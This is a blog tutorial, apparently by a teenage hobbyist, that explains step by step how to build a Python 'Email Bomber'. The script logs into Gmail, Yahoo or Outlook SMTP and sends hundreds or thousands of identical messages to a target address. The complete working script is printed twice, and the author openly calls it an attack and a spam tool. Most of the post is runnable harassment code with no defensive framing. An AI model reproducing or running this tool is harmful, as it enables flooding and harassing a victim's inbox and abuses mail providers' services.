Creating an Email Bomber

Archit sakri
6 min readOct 27, 2020

--

What is an Email Bomber you may ask? Well, an email bomber is a python script that uses the 2 libraries smtplib and sys. You may also ask what are these 2 libraries? The First library is the smtplib and this library is used to send mail to any internet machine an SMTP or ESMTP listener daemon. The sys module provides information about constants, functions, and methods of the interpreter.

import smtplib
import sys

First, we need to import the 2 libraries, smtplib, and sys

class bcolors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'

Next, we need to create a class called bcolors which contains the color codes of the colors green, red, and yellow under the strings GREEN, YELLOW, and RED

def banner():
print(bcolors.GREEN + '+[+[+[ Email Bomber v1.0 ]+]+]+')
print(bcolors.GREEN + '+[+[+[ Made with pycharm ]+]+]+')
print(bcolors.GREEN + '+[+[+[Github : https://github.com/Architsakri]+]+]+')
print(bcolors.GREEN + '+[+[+[ Youtube : https://www.youtube.com/channel/UCaWsKjOHbHGasHLdvWHMOHw ]+]+]+')
print(bcolors.GREEN + '''
\|/
`--+--'
|
,--'#`--.
|#######|
_.-'#######`-._
,-'###############`-.
,'#####################`,
|#########################|
|###########################|
|#############################|
|###########(Bomber)##########| By: Archit Sakri
|#############################|
|###########################|
\#########################/
`.#####################,'
`._###############_,'
`--..#####..--'
(Bomb, Email Spam tool by : Archit Sakri))
''')

The next part is optional, but we are defining a function that is banner and this can be anything really.

class Email_Bomber:
count = 0

def __init__(self):
try:
print(bcolors.RED + '\n+[+[+[ Initializing program ]+]+]+')
self.target = str(input(bcolors.GREEN + 'Enter target email <: '))
self.mode = int(input(bcolors.GREEN + 'Enter BOMB mode (1,2,3,4) || 1:(1000) 2:(500) 3:(250) 4:(custom) <: '))
if int(self.mode) > int(4) or int(self.mode) < int(1):
print('ERROR: Invalid Option. GoodBye.')
sys.exit(1)
except Exception as e:
print(f'ERROR: {e}')

So we are creating another class called Email_Bomber and we are setting the count to zero. In this class, we are going to define a reserved method called __init__(self).

The __init__ the method is similar to constructors in C++ and Java. Constructors are used to initializing the object’s state. The task of constructors is to initialize(assign values) to the data members of the class when an object of the class is created. Like methods, a constructor also contains a collection of statements(i.e. instructions) that are executed at the time of Object creation. It is run as soon as an object of a class is instantiated. The method is useful to do any initialization you want to do with your object.

In the above code, it will ask for the target email (this is the email to which you want to send the mail too). After this you will be given 4 options 1:(1000) 2:(500) 3:(250) 4:(custom).

What is says is if a person inputs any numbers below 1 or above 4 then it will print an error message.

def bomb(self):
try:
print(bcolors.RED + '\n+[+[+[ Setting up bomb ]+]+]+')
self.amount = None
if self.mode == int(1):
self.amount = int(1000)
elif self.mode == int(2):
self.amount = int(500)
elif self.mode == int(3):
self.amount = int(250)
else:
self.amount = int(input(bcolors.GREEN + 'Choose a CUSTOM amount <: '))
print(bcolors.RED + f'\n+[+[+[ You have selected BOMB mode: {self.mode} and {self.amount} emails ]+]+]+')
except Exception as e:
print(f'ERROR: {e}')

In this part, we defined the function bomb. If we remember previously the program printed out 4 options. This function tells the program what to do if we input 1, 2, 3, or 4. Say for example we hit 1, the 1st option has a value of 1000 and it will send 1000 emails to the target account. For example, we hit the 4th option which is a custom option and you will be directed to a text that says Choose a CUSTOM amount: and we can input any number of our choice but if we hit any number below 1 then it will print an exception.

def email(self):
try:
print(bcolors.RED + '\n+[+[+[ Setting up email ]+]+]+')
self.server = str(input(bcolors.GREEN + 'Enter email server | or select premade options - 1:Gmail 2:Yahoo 3:Outlook <: '))
premade = ['1', '2', '3']
default_port = True
if self.server not in premade:
default_port = False
self.port = int(input(bcolors.GREEN + 'Enter port number <: '))

if default_port == True:
self.port = int(587)

if self.server == '1':
self.server = 'smtp.gmail.com'
elif self.server == '2':
self.server = 'smtp.mail.yahoo.com'
elif self.server == '3':
self.server = 'smtp-mail.outlook.com'

self.fromAddr = str(input(bcolors.GREEN + 'Enter from address <: '))
self.fromPwd = str(input(bcolors.GREEN + 'Enter from password <: '))
self.subject = str(input(bcolors.GREEN + 'Enter subject <: '))
self.message = str(input(bcolors.GREEN + 'Enter message <: '))

self.msg = '''From: %s\nTo: %s\nSubject %s\n%s\n
''' % (self.fromAddr, self.target, self.subject, self.message)

self.s = smtplib.SMTP(self.server, self.port)
self.s.ehlo()
self.s.starttls()
self.s.ehlo()
self.s.login(self.fromAddr, self.fromPwd)
except Exception as e:
print(f'ERROR: {e}')

In this, we are defining a function email and we will be directed to enter the email server in which you can either enter the premade options 1, 2, or 3 or you can type in your own email server. If you type in your own email server, you will have to enter the port number of it. Next, you have to enter your Email Address, Password, the subject, and the message you want to type.

def send(self):
try:
self.s.sendmail(self.fromAddr, self.target, self.msg)
self.count +=1
print(bcolors.YELLOW + f'Bombing: {self.count}')
except Exception as e:
print(f'ERROR: {e}')

In this one, we are defining the function send in which the program will send the messages and print the message Bombing: 1, Bombing: 2 …… after every email that is sent.

def attack(self):
print(bcolors.RED + '\n+[+[+[ Attacking... ]+]+]+')
for email in range(self.amount+1):
self.send()
self.s.close()
print(bcolors.RED + '\n+[+[+[ Attack finished ]+]+]+')
sys.exit(0)

In this function attack, when the emails are sending it will print Attacking… and once the emails are sent, it will print Attack finished, and to will finally exit.

if __name__=='__main__':
banner()
bomb = Email_Bomber()
bomb.bomb()
bomb.email()
bomb.attack()

In the end, we have to write this. This means that if __name__ is equal to __main__ then the file must be the main file and must actually be running (or it is the interpreter), not a module or package imported into the script. And we have the 5 functions in it.

Full Code :

import smtplib
import sys


class bcolors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'


def banner():
print(bcolors.GREEN + '+[+[+[ Email Bomber v1.0 ]+]+]+')
print(bcolors.GREEN + '+[+[+[ Made with pycharm ]+]+]+')
print(bcolors.GREEN + '+[+[+[Github : https://github.com/Architsakri]+]+]+')
print(bcolors.GREEN + '+[+[+[ Youtube : https://www.youtube.com/channel/UCaWsKjOHbHGasHLdvWHMOHw ]+]+]+')
print(bcolors.GREEN + '''
\|/
`--+--'
|
,--'#`--.
|#######|
_.-'#######`-._
,-'###############`-.
,'#####################`,
|#########################|
|###########################|
|#############################|
|###########(Bomber)##########| By: Archit Sakri
|#############################|
|###########################|
\#########################/
`.#####################,'
`._###############_,'
`--..#####..--'
(Bomb, Email Spam tool by : Archit Sakri))
''')


class Email_Bomber:
count = 0

def __init__(self):
try:
print(bcolors.RED + '\n+[+[+[ Initializing program ]+]+]+')
self.target = str(input(bcolors.GREEN + 'Enter target email <: '))
self.mode = int(input(bcolors.GREEN + 'Enter BOMB mode (1,2,3,4) || 1:(1000) 2:(500) 3:(250) 4:(custom) <: '))
if int(self.mode) > int(4) or int(self.mode) < int(1):
print('ERROR: Invalid Option. GoodBye.')
sys.exit(1)
except Exception as e:
print(f'ERROR: {e}')

def bomb(self):
try:
print(bcolors.RED + '\n+[+[+[ Setting up bomb ]+]+]+')
self.amount = None
if self.mode == int(1):
self.amount = int(1000)
elif self.mode == int(2):
self.amount = int(500)
elif self.mode == int(3):
self.amount = int(250)
else:
self.amount = int(input(bcolors.GREEN + 'Choose a CUSTOM amount <: '))
print(bcolors.RED + f'\n+[+[+[ You have selected BOMB mode: {self.mode} and {self.amount} emails ]+]+]+')
except Exception as e:
print(f'ERROR: {e}')

def email(self):
try:
print(bcolors.RED + '\n+[+[+[ Setting up email ]+]+]+')
self.server = str(input(bcolors.GREEN + 'Enter email server | or select premade options - 1:Gmail 2:Yahoo 3:Outlook <: '))
premade = ['1', '2', '3']
default_port = True
if self.server not in premade:
default_port = False
self.port = int(input(bcolors.GREEN + 'Enter port number <: '))

if default_port == True:
self.port = int(587)

if self.server == '1':
self.server = 'smtp.gmail.com'
elif self.server == '2':
self.server = 'smtp.mail.yahoo.com'
elif self.server == '3':
self.server = 'smtp-mail.outlook.com'

self.fromAddr = str(input(bcolors.GREEN + 'Enter from address <: '))
self.fromPwd = str(input(bcolors.GREEN + 'Enter from password <: '))
self.subject = str(input(bcolors.GREEN + 'Enter subject <: '))
self.message = str(input(bcolors.GREEN + 'Enter message <: '))

self.msg = '''From: %s\nTo: %s\nSubject %s\n%s\n
''' % (self.fromAddr, self.target, self.subject, self.message)

self.s = smtplib.SMTP(self.server, self.port)
self.s.ehlo()
self.s.starttls()
self.s.ehlo()
self.s.login(self.fromAddr, self.fromPwd)
except Exception as e:
print(f'ERROR: {e}')

def send(self):
try:
self.s.sendmail(self.fromAddr, self.target, self.msg)
self.count +=1
print(bcolors.YELLOW + f'Bombing: {self.count}')
except Exception as e:
print(f'ERROR: {e}')

def attack(self):
print(bcolors.RED + '\n+[+[+[ Attacking... ]+]+]+')
for email in range(self.amount+1):
self.send()
self.s.close()
print(bcolors.RED + '\n+[+[+[ Attack finished ]+]+]+')
sys.exit(0)


if __name__=='__main__':
banner()
bomb = Email_Bomber()
bomb.bomb()
bomb.email()
bomb.attack()

Test :

Input :

//This is the input video

Output:

//This is the Output video

--

--

Archit sakri
Archit sakri

Written by Archit sakri

17 year old wannabe electrical engineer fascinated with the world

Responses (1)